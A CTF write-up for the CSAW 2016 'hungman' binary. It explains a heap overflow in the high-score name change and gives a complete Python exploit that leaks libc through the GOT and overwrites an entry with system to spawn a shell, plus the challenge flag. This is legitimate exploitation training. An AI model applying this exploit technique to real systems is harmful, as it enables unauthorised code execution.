csaw ctf 2016 hungman writeup
03 Oct 2016problem binary serves simple hangman service.
$ ./hungman
What's your name?
HELLO
Welcome HELLO
_____
q
_q___
d
_q___
s
_q___
a
Default Highscore score: 64
Continue? n
$
it has vulnerability at saving name of high-score.
...
if ( str_name->score > highScore )
{
puts("High score! change name?");
__isoc99_scanf(" %c", &v3);
if ( v3 == 'y' )
{
s = malloc(0xF8uLL);
memset(s, 0, 0xF8uLL);
v8 = read(0, s, 0xF8uLL);
str_name->len = v8;
v14 = strchr((const char *)s, '\n');
if ( v14 )
*v14 = 0;
memcpy(str_name->buf, s, v8);
free(s);
}
snprintf(highScoreName, 0x200uLL, "Highest player: %s", str_name->buf);
highScore = str_name->score;
}
memset(&str_name->field_10, 0, 0x1AuLL);
free(buf);
}
}
It is easy to know that if str_name->buf was malloc with less then 0xF8, heap overflow occured.
So we need to analyze when str_name initiallized.
str *get_name()
{
char *v0; // ST10_8@3
str *str_name; // ST18_8@3
str *result; // rax@3
__int64 v3; // rbx@3
int v4; // [rsp+Ch] [rbp-124h]@1
char *v5; // [rsp+10h] [rbp-120h]@1
char s; // [rsp+20h] [rbp-110h]@1
__int64 v7; // [rsp+118h] [rbp-18h]@1
v7 = *MK_FP(__FS__, 40LL);
write(1, "What's your name?\n", 0x12uLL);
memset(&s, 0, 0xF8uLL);
v4 = read(0, &s, 0xF7uLL);
v5 = strchr(&s, '\n');
if ( v5 )
*v5 = 0;
v0 = (char *)malloc(v4);
str_name = (str *)malloc(0x80uLL);
memset(str_name, 0, 0x80uLL);
str_name->buf = v0;
str_name->len = v4;
memcpy(str_name->buf, &s, v4);
result = str_name;
v3 = *MK_FP(__FS__, 40LL) ^ v7;
return result;
}
str_name->len is same as length of my name.
if your name is short, chance of getting highscore gets lower ( because hangman string is initialized with your name ) so we have to choose appropriate length of name, I choose 40.
if heap was overflowed, we can easily get offset of libc binary with .got section, and finaly overwrite to system.
#!/usr/bin/python
import pwnbox
import struct
import argparse
import time
#flag{this_looks_like_its_a_well_hungman}
parser = argparse.ArgumentParser(description='hungman exploit')
parser.add_argument("-l", "--local", action="store_true")
args = parser.parse_args()
def get_highscore():
x = 'a'
while True:
d = p.read_until('\n')
if 'change name?' in d:
p.write('y\n')
return
else:
p.write('%c\n' % x)
x = chr((ord(x)+1) % 26 + ord('a'))
got_snprintf = 0x602048
got_trash = 0x602010
if args.local:
p = pwnbox.pipe.ProcessPipe('./hungman')
offset_snprintf = 0x544b0
offset_gets = 0x6F440
offset_system = 0x46640
offset_trash = 0x3db4e0
else:
p = pwnbox.pipe.SocketPipe('pwn.chal.csaw.io',8003)
offset_snprintf = 0x55860
offset_gets = 0x6ECC0
offset_system = 0x45380
offset_trash = 0x3e0c80
p.read_until('name?\n')
p.write('A'* (16 * 3 - 8) + '\n')
p.read_until('\n')
get_highscore()
dummy = "".ljust(0x4C - 8, "A")
payload = ''
payload += struct.pack("<I", 4)
payload += struct.pack("<Q", got_trash)
p.write(dummy + payload)
p.read_until('Highest player: ')
libc_trash = struct.unpack("<Q",p.read_until('score: ')[:6].ljust(8,'\x00'))[0]
libc_base = libc_trash - offset_trash
libc_gets = libc_base + offset_gets
libc_system = libc_base + offset_system
print "%x" % libc_base
p.read_until('Continue? ')
p.write('y')
get_highscore()
payload = ""
payload += "/bin/sh\x00"
payload += struct.pack("<Q",libc_system)
p.write(payload)
#p.write('y\n')
#get_highscore()
#p.write(struct.pack("<Q",libc_system))
p.interact()